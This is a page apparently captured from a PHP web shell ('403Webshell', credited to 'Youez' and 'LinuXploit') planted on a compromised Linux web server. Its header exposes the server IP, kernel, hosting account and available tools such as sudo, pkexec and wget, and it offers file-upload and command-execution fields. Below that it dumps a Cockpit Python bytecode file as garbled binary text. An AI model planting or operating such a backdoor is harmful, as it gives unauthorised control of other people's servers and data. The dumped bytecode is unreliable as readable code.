403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/cockpit/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cockpit/__pycache__/transports.cpython-39.opt-1.pyc
a

7(=j�C�@s*dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
mZddlmZmZmZddlmZmZe�d�jZedd�dd	�ZdZe�e�Zd
ZGdd�dej�Z Gd
d�dej!�Z"Gdd�d�Z#Gdd�de ej$�Z$Gdd�de �Z%Gdd�d�Z&dS)zKBi-directional asyncio.Transport implementations based on file descriptors.�N)�Thread)�Any�ClassVar�Sequence�)�
JsonObject�get_int)�args�returncGst|�dkrtd��dS)Nrzprctl() failed)�	sys_prctl�OSError)r	�r
�6/usr/lib/python3.9/site-packages/cockpit/transports.py�prctlsrics�eZdZUdZeeed<ejed<ej	ed<ded<eed<eed<e
ed	<e
ed
<e
ed<dZe
ed
<dHejej	eedd��fdd�
Zdd�dd�Z
e
d�dd�Zdd�dd�Zdd�dd�Zdd�dd�Zdd�dd �ZdId!dd"�d#d$�Ze
d�d%d&�Zdd�d'd(�Zed�d)d*�Zd+d�d,d-�ZdJd.d.dd/�d0d1�Zdd�d2d3�Zdd�d4d5�Zdd�d6d7�Zedd8�d9d:�Zedd8�d;d<�Zdd�d=d>�Zej d�d?d@�Z!e
d�dAdB�Z"ej ddC�dDdE�Z#dd�dFdG�Z$�Z%S)K�
_Transporti�
BLOCK_SIZE�_loop�	_protocolzcollections.deque[bytes] | None�_queue�_in_fd�_out_fd�_closing�_is_reading�_eofF�_eio_is_eof���Nzdict[str, object] | None)�loop�protocol�in_fd�out_fd�extracs�t��|�||_||_t�d||||�d|_d|_d|_d|_	||_
||_t�
|d�||krnt�
|d�|j�|�|��dS)Nz/Created transport %s for protocol %s, fds %d %dF)�super�__init__rr�logger�debugrrrrrr�os�set_blockingZconnection_made�resume_reading)�selfrrrrr ��	__class__r
rr"9sz_Transport.__init__�r
c
Cs�t�d||j|j�zt�|jtj�}Wnfty<YdSt	y�}z<|j
rb|jtjkrbd}n|�
|�WYd}~dSWYd}~n
d}~00|dkr�t�dt|��|j�|�n(t�d�|��|j��}|s�|��dS)NzRead ready on %s %s %d�z  read %d bytesz	  got EOF)r#r$rrr%�readrr�BlockingIOErrorrr�errnoZEIO�abort�lenZ
data_received�
_close_readerZeof_received�close)r(�data�excZ	keep_openr
r
r�_read_readyTs$
$

z_Transport._read_readycCs|jS�N)r�r(r
r
r�
is_readingmsz_Transport.is_readingcCs|��d|_dS�Nr)�
pause_readingrr8r
r
rr2psz_Transport._close_readercCs|jr|j�|j�d|_dS�NF)rr�
remove_readerrr8r
r
rr;tsz_Transport.pause_readingcCs,|js(|jdkr(|j�|j|j�d|_dS)NrT)rrr�
add_readerr6r8r
r
rr'ysz_Transport.resume_readingcCsdSr7r
r8r
r
r�_close�sz_Transport._closezException | None)r5r
cCs4d|_|��|��|j�|jj|�|��dS�NT)rr2�_remove_write_queuerZ	call_soonrZconnection_lostr?)r(r5r
r
rr0�s
z_Transport.abortcCst�dSr7��NotImplementedErrorr8r
r
r�
can_write_eof�sz_Transport.can_write_eofcCs6d|_|jdur&t�d|�|��nt�d|�dS)NTz%s got EOF.  closing backend.z,%s got EOF.  bytes in queue, deferring close)rrr#r$�_write_eof_nowr8r
r
r�	write_eof�s


z_Transport.write_eofcCs"|jdurdStdd�|jD��S)Nrcss|]}t|�VqdSr7)r1)�.0�blockr
r
r�	<genexpr>�r,z3_Transport.get_write_buffer_size.<locals>.<genexpr>)r�sumr8r
r
r�get_write_buffer_size�s
z _Transport.get_write_buffer_sizeztuple[int, int]cCsdS)N)rrr
r8r
r
r�get_write_buffer_limits�sz"_Transport.get_write_buffer_limits�
int | None)�high�lowr
cCsdSr7r
)r(rNrOr
r
r�set_write_buffer_limits�sz"_Transport.set_write_buffer_limitscCst�dSr7rBr8r
r
rrE�sz_Transport._write_eof_nowc
Cst�d|�zt�|j|j�}WnDty6d}Yn0tyd}z|�|�WYd}~dSd}~00t�d|�|r�|j�	�}t
|�|kr�t�d�|j�||d��q�|t
|�8}t�d|�qr|j�s
t�d�|��|j
�r�t�d�|��|j�r
|��dS)Nz%s _write_readyrz,  successfully wrote %d bytes from the queuez  incomplete block.  Stop.z&  removed complete block.  %d remains.z%s queue drained.z'%s queue drained.  closing backend now.)r#r$r%�writevrrr.rr0�popleftr1�
appendleftrArrEr)r(�n_bytesr5rHr
r
r�_write_ready�s2




z_Transport._write_readycCs,|jdur(|j��|j�|j�d|_dSr7)rrZresume_writingrZ
remove_writerrr8r
r
rrA�s

z_Transport._remove_write_queue)r4r
cCs>t�d||j�|j�|j|j�t�|f�|_|j	�
�dS)Nz!%s creating write queue for fd %s)r#r$rrZ
add_writerrU�collections�dequerrZ
pause_writing�r(r4r
r
r�_create_write_queue�sz_Transport._create_write_queuec
Cs�|jrt�d|j�dS|jdurb|j�|�t|j�tkr^d�|j�}|j�	�|j�|�dSzt
�|j|�}WnDty�d}Yn0t
y�}z|�|�WYd}~dSd}~00|t|�kr�|�||d��dS)Nz+ignoring write() to closing transport fd %ir,r)rr#r$rr�appendr1�IOV_MAX�join�clearr%�writer.rr0rY)r(r4Zall_datarTr5r
r
rr^�s&


z_Transport.writecCs2|jr
dSd|_|��|jdur&dS|��dSr@)rr2rr0r8r
r
rr3�s
z_Transport.closecCs|jSr7)rr8r
r
r�get_protocolsz_Transport.get_protocolcCs|jSr7)rr8r
r
r�
is_closingsz_Transport.is_closing)rr
cCst�dSr7rB)r(rr
r
r�set_protocolsz_Transport.set_protocolcCs|��dSr7)r?r8r
r
r�__del__
sz_Transport.__del__)rrN)N)NN)&�__name__�
__module__�__qualname__rr�int�__annotations__�asyncio�AbstractEventLoop�Protocol�boolrr"r6r9r2r;r'r?r0rDrFrKrLrPrErUrA�bytesrYr^r3ZBaseProtocolr_r`rarb�
__classcell__r
r
r)rr*sP


��	! 
rc@seZdZdZdd�dd�ZdS)�SubprocessProtocolzBAn extension to asyncio.Protocol for use with SubprocessTransport.Nr+cCst�dS)z"Called when subprocess has exited.NrBr8r
r
r�process_exitedsz!SubprocessProtocol.process_exited)rcrdre�__doc__ror
r
r
rrnsrnc@seZdZed�dd�ZdS)�
WindowSize)�valuecCst|d�|_t|d�|_dS)N�rows�cols)rrsrt)r(rrr
r
rr"szWindowSize.__init__N)rcrdrerr"r
r
r
rrqsrqcs(eZdZUdZdZded<dZded<dZded<ded	<d
d�ee	d�d
d�Z
ddd�dd�Zd
dd�ej
eee	eded��fdd�Zedd�dd�Zed�dd�Zdd�dd�Zed�d d!�Zdd�d"d#�Zeejd$�d%d&�Zejdd'�d(d)�Zdd�d*d+�Zdd�d,d-�Zdd�d.d/�Z �Z!S)0�SubprocessTransporta�A bi-directional transport speaking with stdin/out of a subprocess.

    Note: this is not really a normal SubprocessTransport.  Although it
    implements the entire API of asyncio.SubprocessTransport, it is not
    designed to be used with asyncio.SubprocessProtocol objects.  Instead, it
    pair with normal Protocol objects which also implement the
    SubprocessProtocol defined in this module (which only has a
    process_exited() method).  Whatever the protocol writes is sent to stdin,
    and whatever comes from stdout is given to the Protocol via the
    .data_received() function.

    If stderr is configured as a pipe, the transport will separately collect
    data from it, making it available via the .get_stderr() method.
    NrM�_pty_fdzsubprocess.Popen[bytes] | None�_process�_returncodezSpooler | None�_stderrF��reset�r{r
cCs(|jdur |jj|d�jdd�SdSdS)Nrz�replace)�errors�)ry�get�decode)r(r{r
r
r�
get_stderr0s
zSubprocessTransport.get_stderrzsubprocess.Popen[bytes])�processr
c	s�ttdd���fdd��dd�����fdd�}dd����fdd�}zt��j���j��|�Wn0ttfy�td	�j��|d
d��	�Yn0dS)N)�pid�statusr
csLzt�|��_Wnty(|�_Yn0t�d�j��jsH�j��dS)NzProcess exited with status %d)	r%�waitstatus_to_exitcoderx�
ValueErrorr#r$rrro�r�r�)r�r(r
r�child_exited7sz4SubprocessTransport.watch_exit.<locals>.child_exitedr+cs6t��jd�\}}�j���t����||�dS�Nr)r%�waitpidr�rr=r3r��r�Zpidfdr�r(r
r�pidfd_readyDs
z3SubprocessTransport.watch_exit.<locals>.pidfd_readycs&t��jd�\}}�j��||�dSr�)r%r�r�rZcall_soon_threadsafer�)r�r�r(r
r�waitpid_threadJsz6SubprocessTransport.watch_exit.<locals>.waitpid_threadzcockpit-waitpid-T)�name�target�daemon)
rfr%�
pidfd_openr�rr>�AttributeErrorrr�start)r(r�r�r�r
r�r�
watch_exit6s
zSubprocessTransport.watch_exit)�pty�windowzWindowSize | None)rrr	r�r��kwargscs�dd��fdd�}�r|t��\|_}|dur6|�|�||d<tj|f|||dd�|��|_t�|�|j|j}	}
d|_n8tj|ftj	tj	|d�|��|_|jj
��}	|jj��}
|jj
dur�t||jj
���|_nd|_t��|||	|
�|�|j�dS)Nr+cs$tttj��r t�dtjd�dSr�)r�
SET_PDEATHSIG�signal�SIGTERM�fcntl�ioctl�termiosZ	TIOCSCTTYr
�r�r
r�
preexec_fn`sz0SubprocessTransport.__init__.<locals>.preexec_fn�stderrT)�stdin�stdoutr�Zstart_new_session)r�r�r�)r%�openptyrv�set_window_size�
subprocess�Popenrwr3r�PIPEr��filenor�r��Spoolerryr!r"r�)r(rrr	r�r�r�r�Z
session_fdrrr)r�rr"Vs6

��
��zSubprocessTransport.__init__)�sizer
c	CsDtdt|jd��}tdt|jd��}t�|jtjt	�
d||��dS)Nri��Z2H4x)�max�minrsrtr�r�rvr�Z
TIOCSWINSZ�struct�pack)r(r�rsrtr
r
rr��sz#SubprocessTransport.set_window_sizer+cCs|jjduSr7)rwr�r8r
r
rrD�sz!SubprocessTransport.can_write_eofcCs|jj��d|_dSr:)rwr�r3rr8r
r
rrE�sz"SubprocessTransport._write_eof_nowcCs|jjSr7)rwr�r8r
r
r�get_pid�szSubprocessTransport.get_pidcCs|jSr7)rxr8r
r
r�get_returncode�sz"SubprocessTransport.get_returncode)�fdr
cCst�dSr7rB)r(r�r
r
r�get_pipe_transport�sz&SubprocessTransport.get_pipe_transport)�sigr
cCsp|jdur t�d||jj�dSz&t�|jj|�t�d||jj�Wn$tyjt�d||jj�Yn0dS)Nz3won't attempt %s to process %i.  It exited already.zsent %s to process %iz3can't send %s to process %i.  It's exited just now.)rxr#r$rwr�r%�kill�ProcessLookupError)r(r�r
r
r�send_signal�s
zSubprocessTransport.send_signalcCs|�tj�dSr7)r�r�r�r8r
r
r�	terminate�szSubprocessTransport.terminatecCs|�tj�dSr7)r�r��SIGKILLr8r
r
rr��szSubprocessTransport.killcCsz|jdurt�|j�d|_|jdurv|jjdurF|jj��d|j_z|��Wn"tytt�d|jj	�Yn0dS)Nzcan't kill %i due to EPERM)
rvr%r3rwr�r��PermissionErrorr#r$r�r8r
r
rr?�s

zSubprocessTransport._close)"rcrdrerprvrgrwrxrk�strr�r�rhrirnrrr"rqr�rDrErfr�r��	Transportr�r�ZSignalsr�r�r�r?rmr
r
r)rrus6
%��.rucsNeZdZdZd
ejejeed��fdd�
Ze	d�dd	�Z
d
d�dd�Z�ZS)�StdioTransportz�A bi-directional transport that corresponds to stdin/out.

    Can talk to just about anything:
        - files
        - pipes
        - character devices (including terminals)
        - sockets
    rr)rrr�r�cst��||||�dSr7)r!r")r(rrr�r�r)r
rr"�szStdioTransport.__init__r+cCsdSr<r
r8r
r
rrD�szStdioTransport.can_write_eofNcCstd��dS)NzCan't write EOF to stdout)�RuntimeErrorr8r
r
rrE�szStdioTransport._write_eof_now)rr)
rcrdrerprhrirjrfr"rkrDrErmr
r
r)rr��s	r�c@s�eZdZUdZejed<eed<ded<ejed�dd�Zd	d
�dd�Z	e
d
�d
d�Zdd�e
ed�dd�Z
d	d
�dd�Zd	d
�dd�Zd	S)r�z�Consumes data from an fd, storing it in a buffer.

    This makes a copy of the fd, so you don't have to worry about holding it
    open.
    r�_fdzlist[bytes]�	_contents)rr�cCs@||_d|_g|_t�|�|_t�|jd�|�|j|j�dS)NrF)rr�r�r%�dupr&r>r6)r(rr�r
r
rr"�szSpooler.__init__Nr+cCs^zt�|jd�}Wn(ty&YdSty:d}Yn0|dkrR|j�|�n|��dS)Ni r,)r%r-r�r.rr�rZr3rXr
r
rr6�s
zSpooler._read_readycCs,|jdkrdSt�|jgggd�gggfkS)NrFr)r��selectr8r
r
r�	_is_readys
zSpooler._is_readyFrzr|cCs,|��r|��qd�|j�}|r(g|_|S)Nr,)r�r6r\r�)r(r{�resultr
r
rr�s
zSpooler.getcCs.|jdkr*|j�|j�t�|j�d|_dSr:)r�rr=r%r3r8r
r
rr3s
z
Spooler.closecCs|��dSr7)r3r8r
r
rrbszSpooler.__del__)rcrdrerprhrirgrfr"r6rkr�rlr�r3rbr
r
r
rr��s


	r�)'rprhrVZctypesr/r�Zloggingr%r�r�r�r�r��	threadingr�typingrrrZjsonutilrrZCDLLrrrfr�Z	getLoggerrcr#r[r�rrjrnrqrur�r�r
r
r
r�<module>s8
e1

Youez - 2016 - github.com/yon3zu
LinuXploit